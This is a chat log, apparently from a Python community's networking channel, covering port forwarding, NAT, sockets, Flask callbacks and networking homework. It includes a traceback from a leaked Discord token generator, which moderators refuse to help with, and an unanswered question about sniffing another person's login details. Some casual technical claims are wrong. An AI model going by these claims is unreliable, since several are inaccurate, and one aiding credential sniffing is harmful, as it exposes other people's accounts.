networks

[cloud plover]

@shell tulip

[shell tulip]

I am Indian too

[cloud plover]

ohh

[shell tulip]

you are a programmer?

[cloud plover]

im a student

can we chat in dm?

@shell tulip

[cinder isle]

I still haven't found the solution to my problem.

[prisma cobalt]

when a client connects to your self, use the uuid module to create a uuid4 object (which is it's id), you can then store it on the server and send it back to the client

use a dictionary to store the current ID's and if you want, you can write it to a file when a client joins/disconnects

as for the displaying of this data, i'll leave that to you

[hot harbor]

Hi everyone, I am studying networks and I want to make a presentation about tools that simulate unstable network connections between the base station and backend. If anyone has knowledge about this topic, I would like to get information. Thanks in advance!

[pallid compass]

Hi! im trying to build a very basic game in python, and im trying to organise communication between 2 computers over the internet (not lan), how can it be done?

[zealous flint]

Websockets are the most common

Well maybe not the most common but they’re used a lot

[pallid compass]

websockets module right

[zealous flint]

Websockets is a protocol

[wraith hearth]

so I have an aws lightsail

and I was told that a webserver was what I needed to use as a callback uri for this api I'm using

but is there a reason I can't just pass my own ip address as the callback uri?

like if I can run a flask script and serve myself when I visit localhost, is there a reason I can't just run a flask script and have the api pass the data to my IP address without needing a webserver at all?

[zealous flint]

You can, but you'll need to port forward (dangerous) and run a webserver on your machine to recieve the incoming request

[wraith hearth]

what's dangerous about porting forward? and what is it?

[zealous flint]

Port forwarding is opening up your local network to the general internet, the best analogy I can come up with is opening a window during a thunderstorm

Anyone from anywhere in the internet can then access your local network

Your router will receive a request, and it will send it to the device on the LAN that it should be processed by (host). The host device will then process it, send a response back out

If you don't port forward, any request coming in to you will be dropped by the router

[fallen trellis]

To see if your internet is on, enter this command:

nmcli radio wifi

If the output is not “enabled”, run this command:

nmcli radio wifi on’

Check if your network is listed with:

nmcli dev wifi list

It might not show at first, so run it again and again until you eventually see it.
Now, simply connect with:

sudo nmcli dev wifi connect network-[NETWORK_NAME]

Note: replace [NETWORK_NAME] with your actual network. If your network is protected by a password, it’ll ask for a password.

i hope it works

[prisma cobalt]

if you open a port and theres nothing listening behind it then its practically the same as not opening the port in the first place. the security risks come from the flaws in the application listening behind the port

[fallen trellis]

it's a gap in your network and it's dangerous because it's like and open door to your network, a bit like you have your house and you leave your main door unlocked.

[ocean bay]

So what’s the difference if you have a server that has port forwarding enabled vs a regular server where the router forwards the packet to the server. Doesn’t the packet reach the server’s app all the same? Or is it just the case that the firewall gets bypassed with port forwarding?

[tender hemlock]

Thanks, but the problem affected the wired connection too. In the end, I had to reinstall Ubuntu. What a great way to spend a day!

[fallen trellis]

fun fact i had the same problem and i had to reinstall ubuntu 22.04 again too

[prisma cobalt]

a regular server where the router forwards the packet to the server
you've just described the process of port forwarding 😄

a packet reaches the router, if port forwarding is enabled, the router will forward the packet to the server

if its not enabled, the packet will be dropped

[steady horizon]

That's where the terminology for servers to listen on a port stems from

[ocean bay]

Oh hold up haha. Say theres no port forwarding and weve got an http server, when a client wants to send a request its gotta establish a tcp connection with the server, then it sends a request to the server. the router accepts the packet then forwards it to the http server.

[steady horizon]

Port forwarding has to be enabled for this process to complete successfully

[ocean bay]

Oh

[steady horizon]

Mainly for the last sentence

[prisma cobalt]

the client cannot establish a tcp connection without the server port forwarding

[steady horizon]

Of course a TCP connection is established by sending and receiving packets, too, so that part also means you need to enable port forwarding

[ocean bay]

So every http server in the world connected to a router has port forwarding enabled

[prisma cobalt]

you've got the right idea (even if that sentence isnt 100% true)

also before any confusion happens, port forwarding isnt specific to HTTP

[steady horizon]

I guess it depends on whether the network protocol being used uses ports

[ocean bay]

Is there an alternative to port forwarding for the http server to receive a packet from an external network? I thought that the server’s router would use its mac table to find the http server’s mac address and send the packet to the http server via the switch

[prisma cobalt]

mac and ip are different layers

totally seperate

but there are alternatives

such as hole punching although good luck implementing that yourself 😄

[prisma cobalt]

a client doesnt know the mac address of the server, they know its IP address. nearly 100% of the time, the client will never know the mac address of the server at any point

[ocean bay]

Im talking about the server’s router when it receives the client’s packet

But ive just been thinking and yeah I guess server routers do need to use port forwarsing…huh

[prisma cobalt]

port forwarding is only to allow people outside the network to send messages inside the network
the server (inside the network) can send messages anywhere it wants regardless of port forwarding

[steady horizon]

Port forwarding allows for managed communication, really

I think

[prisma cobalt]

managed communication?

[steady horizon]

Because the router drops incoming packets that don't correspond with its port forwarding rules

[ocean bay]

Yeah and so port forwarding (and other eaoteric methods like u mentioned hole punchjng) is the only way to allow external network communication to an internal network?

[prisma cobalt]

yes

unless theres no firewall in the first place, but thats not reccomended :)

[ocean bay]

What about NAT then? Doesn’t it sort of allow a client to receive a response from a device outside its network (after sending a request packet first)?

[steady horizon]

Aren't NATs simply mapping tables

[prisma cobalt]

yes

nat allows ip addresses to be used between many clients by using ports as identifiers

[ocean bay]

Oh

[prisma cobalt]

for example, any device on your LAN will have a unique private IP address however they will share a public IP address and it's up to NAT to decide how

let me draw something, one sec

[ocean bay]

nat is just the translating of private to public ips and vice versa w the nat table, but the incoming packets that get translated by the nat are still port forwarded to your device.

[prisma cobalt]

forgive the ms paint drawing lol

[ocean bay]

Thanks for that

[ocean bay]

Is this right?

[steady horizon]

NATs are responsible for uniquely defining local IP & port pairs outside of the local network

[prisma cobalt]

yes this is true, if the NAT table recieves a packet and recognises where its going/who its from and wants to allow forwarding then it will forward it

[steady horizon]

And mapping back in

[ocean bay]

Thanks, this was rly helpful

On a side note, how does a router know the destination port of the packet if its a layer 3 device and ports are on layer 4

[prisma cobalt]

it will analyse the packet

it will deconstruct it, read the data and reconstruct it with data for the next hop

or simply drop it if it doesnt understand it

[ocean bay]

Yeah I get the decapsulating of the L2 to read the L3 and re-encapsulating of L2 to send it to the next hop. But a router’s a L3 device that shld only analyse up to L3, how does it know the destination port of the packet (which is on the L4)?

[prisma cobalt]

it has to read this data in the ip header to distinguish which protocol

thats the IP header

once protocol has been determined

it can decide how to next process the packet

which, in the case of TCP, it should read the port from the TCP headers that follow the IP headers

[ocean bay]

So after determining the L4 protocl based on that protocl header in the IP packet, the router does go on to analyse the L4 to get the port

[prisma cobalt]

yes, that's my understanding

[steady horizon]

Why does it work like this

[ocean bay]

But routers are L3 devices ahhhhhh

[steady horizon]

Why does TCP include the protocol port as well as its encapsulating layer

[prisma cobalt]

it doesnt? the port number exists in the TCP headers, not the IP headers

[steady horizon]

Oh the protocol is for UDP/TCP?

[prisma cobalt]

yeah + other protocols

[steady horizon]

I get it now

[prisma cobalt]

its an 8 bit number to represent which protocol, it doesnt reveal any data about the protocol such as ports

[steady horizon]

The protocol tells the router from where to read the port, though

If there is a port

[prisma cobalt]

this is a TCP header

[steady horizon]

What protocols don't use ports

[prisma cobalt]

i dont know any of the top of my head

[ocean bay]

Isn’t this mieading? The IP packet doesn’t contain a header that tells the destination port, the L4 protocol is in Data portion of the packet and the destination port is in that L4 protocol

[steady horizon]

Ye

I think so, too

[prisma cobalt]

ICMP doesnt use ports

[steady horizon]

By the way have you heard of HTTP3

It's a new version of HTTP based on QUIC, a protocol under UDP which was developed by Google

[prisma cobalt]

IP doesnt have any concept of ports, they are seperate but are seen together often enough that they are considered one

have a look at the OSI model

[ocean bay]

Yeah I was commenting on the image you sent

[steady horizon]

I like how it says WinSock

In the session layer

[ocean bay]

Which said that IP packet had a header that had the destination port

[steady horizon]

Technically it does if its protocol includes a port

[prisma cobalt]

where? the IP header shouldnt include a port

[ocean bay]

This image

[prisma cobalt]

your right, that is misleading lol

sorry

[ocean bay]

All good haha was just making sure my understanding was right

[prisma cobalt]

👍

i love networking

ping me if you have any more questions

[steady horizon]

I love networking, too

[twilit root]

What abt networking?

[prisma cobalt]

i aspire to be at Joe's level one day, the stuff he has done is truly impressive

Joe the owner that is, this isnt the setup for a bad joke lol

[twilit root]

Yess thats true

[twilit root]

😂😂

The networking can be even possible with an protocol

[ember ledge]

how do we capture http requests for an application

[cursive ruin]

Hey is it possible to run a https server with flask with a certificate that a react app accepts?

[zealous flint]

Wireshark?

[ember ledge]

For an application

It's only for browser i believe

[zealous flint]

Wireshark captures ALL incoming and outgoing packets

[ember ledge]

Fr? I thought it only does for browser does it capture payload datas and stuff

Nvm nvm imma just do my own research

[zealous flint]

It can capture HTTP(S), yes, among a multitude of other protocols

We use it frequently in our networking classes for capturing things like ARP packets

[cunning garden]

To add a bit to it, you can set filters on tcpdump or wireshark to only capture traffic with specific properties (ex: port, addresses or other conditions)

[zealous flint]

Though it won't have a filter for applications like you might want it to, e.g a "Discord" filter for all discord requests

But that doesn't mean you can't see discord requests at all, to expand on that example

But these packets will usually have some identifying properties on them, that can be applied in such a way that the only packets you see are from your desired applicatoin

[cunning garden]

At the very least, you could restrict by destination ip/port

[coarse raptor]

hi I'm new to python and I've been tasked to create a simple web server that only processes one request. This is the code at the moment. I'm a bit confused as to what should be written in line 19

I'm just not sure what i should be assigning the "message" variable

the goal is to be able to process one HTTP request through this server and receive the contents of a simple HTML file

[zealous flint]

Do you have to use sockets for processing HTTP server? a web framework would make it much easier I think

[coarse raptor]

yea it's part of the homework

i think in this section of code, i need to code up something that recieves an HTTP request i think?

oh i think i know now

i think in message i have to do

connectionSocket.recv(1024)

[quasi wraith]

So I have chose to make a packet sniffer(with GUI) for my 5th sem project....so can anyone suggest me any good modules for reading packets. Idk if the socket module will work or not so pls let me know

[queen axle]

You can try scapy, it's far more advanced and can do quite a lot

@coarse raptor other clientSocket.recv(bufsize)

receives an incoming connection

So the variable should contain the packet data if that's what u want

also bufsize must be in powers of 2

[ember ledge]

from scapy.all import *
p = sniff(iface = 'whatever your nic is')

[queen axle]

this is networking channel, not an advertising channel

[hoary sorrel]

Don't drop random links like this on our server, @tiny spindle, especially not in an on-topic channel. See #rules 6 and 7

[ember ledge]

Hi, I'm using requests to make a POST request to upload an image to a server. However I'm finding that it takes a full 1 second... Is there any way I can improve this, when I don't control the server?

Such as maybe pre-emptively starting a handshake before data is ready?

[prisma cobalt]

it receives a message from the socket, it doesn't receive "an incoming connection"

you have to use accept for that (on the server socket)

[zealous flint]

Not necessarily

Network times are bottlenecks

[restive blaze]

Doubt it's significant part of your delay. In theory, you could but if you don't time it right, the server could close the connection and you would be forced to start all over again.

[ember ledge]

That seems closed minded 🙂

What about using an HTTP 2 library? Would that help?

[ember ledge]

Alternate question: Is there somewhere I can upload an image very quickly?

The full upload process for me takes 2 requests totaling 2 seconds (one to upload, one to get the resulting URL).

Also my current request is like this

r=requests.post(url=urlUpload, headers = headerUpload, data=dataUpload)

I was wondering if putting the file into the files parameter would be faster than the data param

[zealous flint]

I mean

That’s just how it is

Compared to a computers processing time a network request feels like years

Your amount of overhead with a library of choice should be pale in comparison for the actual request

[ember ledge]

I feel like you are just looking for a reason to not propose answers

I'm not suggesting network time would go to 0

I'm looking for possible improvements

File upload is something that takes a lot of bytes, but different libraries may stream it in different ways

For example: My first request takes about 1 second to upload the file. This returns a URL. Then I need to read that URL, and make another request that takes another 1.4 seconds or so.

But that second request, I actually don't need the full page to load. I might be able to only wait for half of the response in order to get the data that I need.

[ember ledge]

Traceback (most recent call last):
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 136, in <module>
    Worker(D).start()
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 26, in __init__
    self.discordSession = DiscordSession(database)
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 16, in __init__
    self.__setupSession()
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 27, in __setupSession
    self._fingerprint = response.json()['fingerprint']
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\site-packages\httpx\_models.py", line 743, in json
    return jsonlib.loads(self.text, **kwargs)
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)```

I just loosing my mind

someone can help me pls?

[dawn notch]

Checking what self.text contains has might be a good start. (Not sure if this is a good channel for this though.)

[prisma cobalt]

Vichy-DiscordTokenGen-Leak-Full-Source-main hmm

!rule 5

[errant bay]

Rules

5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.

[ember ledge]

it's a troll

I'm making a troll

[prisma cobalt]

that doesn't matter

[deep hemlock]

Token generators violate rule 5. We will not assist, regardless if you're "trolling" or not.

[ember ledge]

nvm u guys are not cool

bye bye

[deep hemlock]

See ya.

[prisma cobalt]

its not cool when your account is hacked and your personal infomation leaked i think 🤷‍♂️ call me old fashioned

[ember ledge]

I gotta say that's pretty new fashioned

Words argg

Argh

Stupid keyboard

[dawn notch]

Oh. My bad. Didn't even notice that staring at my face.

[ember ledge]

Huh?

[quasi wraith]

Is it able to get the user info in clear text as well? like for example if the target user is filling information on a login page lets say...

[ebon silo]

I'm making a server-client communication framework using sockets, and I'm wondering which approach makes more sense:

• Setting a relatively long timeout on the server during which if the client doesn't sent a message, they will be disconnected
• Setting a relatively short timeout on the server, and making the client send empty heartbeat packets to let the server know it's up
• Waiting for client to send data indefinitely on the server (I'm using async, so this won't block other connections)

[gloomy root]

the Second option is basically the only way to go. Waiting indefinitely can make you pretty easily liable to something like Slow Lowris esque attacks and just ddos your server

[ember ledge]

what's one similarity and one difference between a switch and a router?

[zealous flint]

Switches primarily operate on layer 2 (given we're not talking about multilayer switches) they don't care about IPs, work exclusively off MAC addresses which is different from a router, which, IIRC works on the OSI layer 3 and does care about IPv4 AND 6

[ember ledge]

ohh forgot to talk about the layers

[zealous flint]

Switches will usually also be used within a network, and while a router is technically also within a network, it can be used to send packets outside and inside of networks

[ember ledge]

yep a router is on layer 3, data link

[zealous flint]

data link is layer 2 i think

[ember ledge]

is it?

oh yes my bad

[zealous flint]

network is 3

my layers are a bit rusty so sorry if that's wrong lol

either network or transport don't remember

[ember ledge]

it's correct lol

physical data link network transport session presentation application

wait so which layer is switch

[zealous flint]

"all people seem to need doctor pepper" as my teacher taught us the mnemonic

[ember ledge]

please do not throw sausage pizza away

[ember ledge]

I haven't touched on networking in a while

[zealous flint]

that's going from bottom up but yeah the point stands

[ember ledge]

getting things mixed up

switches communicate with Frames so that makes them lower than routers on the OSI model as it encapsulates more

Routers communicate with packets

so which layer is a switch on?

Physical?

[zealous flint]

the data link layer

[ember ledge]

oh

oh my I just mixed everything up lmao

I got so confused for a second there lol sorry

yes I remember now

[zealous flint]

no worries. physical is your hardware stuff, the copper wiring, that sort of thing

[ember ledge]

yep

so what's a similarity?

they both send data within a network?

because a router still does

[zealous flint]

a router can send data outside a network or recieve data from outside a network and forward it internally

a switch only receives and forwards data internally

it does no out of network communication

[ember ledge]

?

[ember ledge]

yeah

[zealous flint]

ah a similarity..

that's a bit difficult. they're 2 different devices meant for different jobs

[ember ledge]

they both receive data?

[zealous flint]

we could say something generic like, they both handle data

but that practically applies to any electronic device

[ember ledge]

it's meant to be easy lol

[ember ledge]

exaclty

[ember ledge]

they both have ports.

interfaces

[zealous flint]

right

though a router doesn't have as much

i believe only has like 2 of them

[ember ledge]

yep

[zinc charm]

Bom dia, pessoal! Quero que ajuda com uma dúvida. Tenho 3 computadores na rede, mais dispositivos android nesta rede. Suponha que eu quero impedir que outros computadores instalem softwares de pentest, monitoramento como Zabbix em suas máquinas, pois apenas o adm da rede poderá administrar essa rede e saber o que acontece nela. O que eu devo fazer, ou aprender?

[prisma cobalt]

!rule 4

[errant bay]

Rules

4. Use English to the best of your ability. Be polite if someone speaks English imperfectly.

[prisma cobalt]

Can you resend that in English @zinc charm

[covert rover]

you can use google translate maybe

[zinc charm]

Good morning people! I want you to help with a question. I have 3 computers on the network, plus android devices on this network. Suppose I want to prevent other computers from installing pentesting, monitoring software like Zabbix on their machines, as only the network adm will be able to administer this network and know what happens on it. What should I do, or learn?

[floral knot]

Two PCs connected together using 10Mbps Ethernet Switch, the other ports of the Switch are not connected to any device other than the DHCP server and the Router, One PC want to send 100 KByte file to the other PC.

1. List ALL Frames exchanged through the switch

2.Calculate the overall exchanged data.

3. Calculate the time required to send the 100 Kbyte file if TCP is used.

4. Calculate the ffective data transfer rate if TCP is used.

5. Repeat 3 and 4 if UDP is used.

[spiral nacelle]

hey fellow python devs, I'm building basic chat application using sockets and I need to have concurrency to maintain multiple connections. I have looked it up and I found out that I can achieve concurrency with threads and asycio. but I am confuse which should I use? I read it on an article that asyncio is efficient in some ways but still I am confuse, need assistance.

[ember ledge]

Hi everyone, please tell me how to run python file as administrator

[dawn notch]

What is it for? One thing to try is to use a server port number greater than 1023.

Not sure whether you can do this on Android easily.

[ember ledge]

i used port 1234, thanks, you helped me

it works

[wraith hearth]

I'm using an api that has a callback uri

how do I give it my IP address so it'll send the data directly to my machine?

I was told I could do port forwarding

and I have this code

import socket
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 5555
sock.bind((host, port))
sock.listen(1)
conn, addr = sock.accept()
print(addr)
data = "Hello!"
data = bytes(data, 'utf-8')
conn.send(data)
sock.close()

but it doesn't connect when I type in my IP address:5555 in chrome

even though I'm running the script

[zealous flint]

I'm not experienced with sockets - but do they receive incoming HTTP requests?

I thought that was the job of a web server, like flask

Usually it's much better to handle these callback based APIs with a webserver

[wraith hearth]

so there's no way to receive http requests directly with server code running locally?

I would need to use my aws lightsail?

[zealous flint]

Oh no, it's very possible

But whoever suggested port forwarding probably also gave you a word of advice that it's dangerous

[wraith hearth]

sure but I don't really care about that since it's only dangerous while the server code is running, right?

and only if someone happens to target my specific device

[zealous flint]

not really

that port is always open

it's like leaving your garage door open 24/7

[wraith hearth]

you mean in order to port forward you need to go into your router console and open it?

[zealous flint]

yes

[wraith hearth]

I see

[zealous flint]

once you do that it's smooth sailing

just set up a rudimentary flask app to handle the URL callback

[wraith hearth]

I see. I already have a server instance running on aws, but I haven't uploaded any code yet

if I upload the code, do I have to execute it in the aws command line?

I just uploaded the following test code

from flask import Flask

app = Flask(__name__)

@app.route("/")
def home():
    return "This is a test message!"
    
if __name__ == "__main__":
    app.run(debug=True)```

as a .py file

[zealous flint]

Not sure, I haven't used lightsail. You could probably just go to the / route to see if it updates

[wraith hearth]

I don't think I know what that means

what is app route?

I ran this code and tried to connect to the server's IP address and it didn't connect

[zealous flint]

That's an AWS issue then, probably a misconfiguration

[wraith hearth]

ok I played around with the settings and now when I go to the server's ip address I get this

but where is my "this is a test message"

[sudden escarp]

is there any general issue with Bearer auth in requests? i'm copying request headers verbatim from the way chrome sends them but getting 401 unauthorized in python

do i need to do an OPTIONS request first?

like i can call login method but then calling another method with the same exact authorization "Bearer " header doesn't work

oh jfc i just needed to put headers=

[wraith hearth]

I finally got my server configured to take the data from the api call

but now I need to send that url data to my local machine so I can retrieve the audio clip and play it

is there a way in flask to send data to an IP address? I'm afraid it would slow everything down if I just had my local machine just constantly pinging the server asking if the data was ready

[cloud plover]

Is it the right place to discuss about socket programming and TCP and UDP connections?

What is TCP and UDP communications?
TCP is a connection-oriented protocol, whereas UDP is a connectionless protocol. A key difference between TCP and UDP is speed, as TCP is comparatively slower than UDP. Overall, UDP is a much faster, simpler, and efficient protocol, however, retransmission of lost data packets is only possible with TCP.

I ve doubt in this paragraph

[edgy pelican]

i dont

[zealous flint]

Ask away

[prisma cobalt]

But if there's no application listening behind it then connections and data will just be dropped as if the port wasn't forwarded.

The dangers of port forwarding come from the application listening behind the port. In of itself, port forwarding isn't dangerous.

[wraith hearth]

that's what I was thinking. btw, is there a way for a server to send data to computer that isn't port forwarded?

[zealous flint]

Not if it’s on a different network which is not directly connected via a router

[wraith hearth]

I see

I've finally got everything working, but there's one problem left

my client doesn't know when the server has received the audio file

so it just needs to keep pinging the server to ask if it's ready

is this the right way to do this?

it seems hacky

[zealous flint]

It’s called polling

You can have your server notify the client when it receives the audio file

[wraith hearth]

notify? I thought the server could only send messages to the client when it got a get request from that client?

[zealous flint]

Sure. It’s similar to a callback or how discord does interaction over HTTP

Your client would need port forward of course

Websockets are another option

[wraith hearth]

oh

[wraith hearth]

can websockets make a connection without port forwarding?

[zealous flint]

Should be

discord.py uses websockets

No need to port forward

Keep in mind that port forwarding isn’t really necessary on a production server so I feel like worrying about port forwarding doesn’t have much merit

[prisma cobalt]

yes. in the context of HTTP there are several ways such as server side events, websockets and polling.

[ocean bay]

@prisma cobalt Real quick, I remember you saying port forwarding is the only way for devices outside a network to communicate with devices within a network.

how is a computer in a home network able to receive any http responses from outside networks then since port forwarding isnt enabled by default?

[prisma cobalt]

it can only happen once the computer in a home network first contacts the server

then the router knows that the incoming messages are "authorized" and so it forwards them to the original computer instead of dropping them

effectively creating a hole in the firewall, much like port forwarding but port forwarding doesnt require the computer on the inside of the network to talk first

[ocean bay]

Oh yeah the router firewall allows packets through that are in an established tcp connection is that it?

[ocean bay]

this makes sense

[prisma cobalt]

yeah pretty much

[ocean bay]

but then in this stage, the server router would need port forwarding enabled to allow that initial communication

[prisma cobalt]

yes, the server and only the server would need to

for residential networks that is
commercial networks usually only have one physical server so they dont need NAT so they dont need port forwarding since the server uses the public IP (it doesnt have a private ip) but you dont need to worry about this that much

[ocean bay]

oh thats cool to know

[cedar forum]

hello networkers

are we networking

[zealous flint]

we are networking the big network

[ember ledge]

I need help in #help-croissant

[prisma ibex]

Good evening everyone, I was wondering if anybody has any resources they can point me to regarding implementing custom networking protocols in python

[cloud plover]

I have a doubt in writnig socket programming

can someone help with it?

who s comfortable with that?

for running server and client file in python, why do we have to run server in powershell adminitstrator mode and client in normal powershell?

I M FOLLOWING THIS BOOK

6th Edition, Kurose and Ross```

[cloud plover]

can you help me

[steady sage]

may be due to server running permission is set to admin

[cloud plover]

  File "UDPclient.py", line 7, in <module>
    clientSocket.sendto(message,(serverName, serverPort))
TypeError: a bytes-like object is required, not 'str'

#udp client
from socket import *
serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message,(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()

This is the code

[cloud plover]

whats wrong in this line

[steady sage]

what OS are u using?

[cloud plover]

win10

[steady sage]

error is showing you are passing string

[cloud plover]

yess

we have to pass string right

its expecting input as string

[cloud plover]

this code

[steady sage]

u can encode it to bytes

[cloud plover]

what should i be doing?

[cloud plover]

btw may i confirm that you are comfortable with computer networking?

[steady sage]

i did before

[cloud plover]

thats cool

then help me when i get stuck

😌

[cloud plover]

how to overcome this error?

[steady sage]

i'm lil busy rn

[cloud plover]

when you ll be free?

[steady sage]

after 7

[cloud plover]

you are which timezone?

[steady sage]

ist

[cloud plover]

okk

done

[steady sage]

serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()```

try it

[cloud plover]

Input lowercase sentence:sdf
Traceback (most recent call last):
File "UDPclient.py", line 6, in <module>
clientSocket.sendto(message.encode(),(serverName, serverPort))
socket.gaierror: [Errno 11001] getaddrinfo failed

@steady sage

[steady sage]

it means hostname can't be resolved

[cloud plover]

what to do in this case

localhost?

[steady sage]

will see it later

[cloud plover]

Input lowercase sentence: this is lower case statement
b'THIS IS LOWER CASE STATEMENT'

why b is coming in front

[cloud plover]

from socket import *
serverName = 'localhost'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence: ')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()

i did the change to serverName

[upper bramble]

In netmiko, can i do multiple if else statements under one command, as show in the picture? Or is there a better way to do that? Like if i want to do multiple check

[fresh maple]

Do some DDOS attacks have port scanners to flood many endpoints with opened valid ports?

[cloud plover]

#TCP Server
from socket import *
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
print('socket created')

serverSocket.bind(('localhost',serverPort))
serverSocket.listen(1)

print('The Server is ready to listen')

while True:
    connectionSocket,addr = serverSocket.accept()
    print('Connected with ',addr)
    sentence = connectionSocket.recv(1024)
    capitalizedSentence = sentence.upper()
    connectionSocket.send(capitalizedSentence)
    connectionSocket.close()

what does .recv(1024) means?

[fresh maple]

im curious as when i search up how DDOS attacks work no attack show if they use port scanners

[fresh maple]

it recives a message that can only be as big as 1024 mbs iirc

[prisma cobalt]

1024 bytes! Not mb

No

[prisma cobalt]

What would be the point? Usually the DDOS target is a specific service such as a website (which uses port 80 or 443). In either case, the port in known beforehand.

[prisma cobalt]

Because it’s not a string, it’s a bytes object. A string cannot be sent or received directly over a socket.

[fresh maple]

ah my bad

[fresh maple]

for e.g flooding of internal ports

[cloud plover]

can someone take over the

#help-bagel

its related to networks UDP

protocol

[zealous nimbus]

Hey, i'm learning asyncio streams to do network programming for a simple multiplayer game and have a question about how to structure my network protocol.
I don't know if one of these approaches is strictly better than the other but I'd like some feedback on what seems like a better idea, or at least more familiar.
One approach would be to send packets back and forth like a conversation, this means that the way a packet is interpreted depends on the previous packet.
(here's an example of what some code using that approach looks like (also this is prototype code I know its not using asyncio or streams but the key thing to look at here is the control flow and not the actual module i'm using to send & recv data))
server code:

while True:
    name = conn.recv(2048).decode()
    if name not in Player.players:
        logging.info(f'name {name} for {addr} accepted')
        conn.send(b'name_accepted')
        player = Player(name, conn)
        players.append(player)
        break
    logging.info(f'name {name} for {addr} rejected')
    conn.send(b'name_rejected')

client code

while True:
    message = sock.recv(2048)
    match message:
        case b'ask_for_name':
            while True:
                prompt = sock.recv(2048).decode()
                sock.send(input(prompt).encode())
                resp = sock.recv(2048)
                if resp == b'name_accepted':
                    break
                elif resp == b'name_rejected':
                    print('Name rejected')
                else:
                    raise NetworkDesyncError

the other way would be to use a single loop with a command like syntax for the packets

so for example

conn.send(f'name {name}'.encode())```

or if there's a better way to do things i'm happy to chat about it

my concern with the first approach is that the client and server are essentially behaving like state machines that have to be kept in sync across the socket

[ember ledge]

For those who debug network traffic and such, this may be of interest.
https://github.com/stryngs/RICP

[wicked salmon]

Hello folks, long time no see
I recently built a simple port scanner app but I would like to add other features. But I just don't know what other features to add, I don't know much about network programming. Any ideas/suggestions would be greatly appreciated

[ember ledge]

What lib did you write it with @wicked salmon ?

[wicked salmon]

Its a very simple app in which it just checks for open ports on a network and in terms of lib, I just used socket and threading to speed it up

[ember ledge]

That's nice low level hands on.

[wicked salmon]

any other features I can possibly add on?

[ember ledge]

I'm sure there are. What now, I could'nt tell ya, not sure.

[wicked salmon]

or better yet, any other good idea for a network project

[ember ledge]

Absolutely. Clone RICP and do a PR fixing my bi-directional pipe want.

I'm adding encryption to it right now. Torn on which crypto model to go with. Studying up

I wrote this thing hoping to give a talk but never followed through with it. Something real life popped up to where it became useful and so I finished it and published it, but the 2-way doesn't work yet.

[wicked salmon]

sounds great, will definitely look into it

[ember ledge]

and..... encryption enable

[flint nexus]

hi! i have written a small script to just copy data from one tcp server to another. so whatever's sent from one of them is then forwarded to the other by the script that sits in between and connects to both of them.

    async with await anyio.connect_tcp(src_ip, src_port) as reader, await anyio.connect_tcp(dst_ip, dst_port) as writer:

        while True:
            try:
                await writer.send(await reader.receive())
            except anyio.EndOfStream:
                break

this is the code i've got.. but i'm wondering how this scales.. what if the "writer" is able to send data faster than the "reader" can receive? (different bandwidth)

what happens then?

what i want to happen is that this proxy will then buffer the data.. so the writer should be able to send as fast as it can..

[ember ledge]

Sounds like you need a FIFO queue

[flint nexus]

do you have an example on how to implement that?

[ocean bay]

This sounds like a consumer/produxer problem. I’ve only played around with it so read this with a grain of salt. you can have a queue.Queue() between your producer (the tcp server that writes) and consumer (the tcp server that reads). Your producer writes to the queue.Queue() as fast as it wants, and since it’s a fifo structure, the consumer can take its time to process each item, taking each item from the front of the queue, while the producer keeps filling the back of the queue. There’s other ways to solve this problem e.g thread locks and semaphores but queus are a nice and easy way to do it.

[flint nexus]

yeah, that sounds about right.. should i go about this with async?

maybe this belongs in #async-and-concurrency

[ocean bay]

I know threading works, so I assume async should too

Yeah id reckon so

[flint nexus]

yeah, i'll try there 🙂

[ember ledge]

I'm lazy and always forget how to thread. To help my forgetfulness I wrote a library. Enjoy! https://github.com/stryngs/easy-thread

[cloud plover]

does anyone knows to send mail in python?

The goal is to create a simple mail client that sends email
to any recipient. Your client will need to establish a TCP connection with
a mail server (e.g., iiith mail server: mmtp.iiith.ac.in), dialogue with the mail
server using the SMTP protocol, send an email message to a recipient (e.g.,
your friend) via the mail server, and finally close the TCP connection with
the mail server.
Your job is to code and test your client by sending email to different user
accounts

does anyone have ideas on how to approach this qn

@sharp finch

[flint nexus]

the module smtplib should do the job nicely

this outlines it in more detail: https://realpython.com/python-send-email/

[flint nexus]

Ask your question, "plz"

[dim flax]

i fixed my problem

[ember ledge]

https://github.com/stryngs/scripts/blob/master/email/email-em

Nice and easy. I hate cobbling stuff together from huge documentations...

[ember ledge]

did you find your solution?

[zealous nimbus]

i'm moving forward with the first method, where the server stays in a loop waiting for a specific packet,
heres a sample of some of the code I'm writing

    async def get_name(self, client):
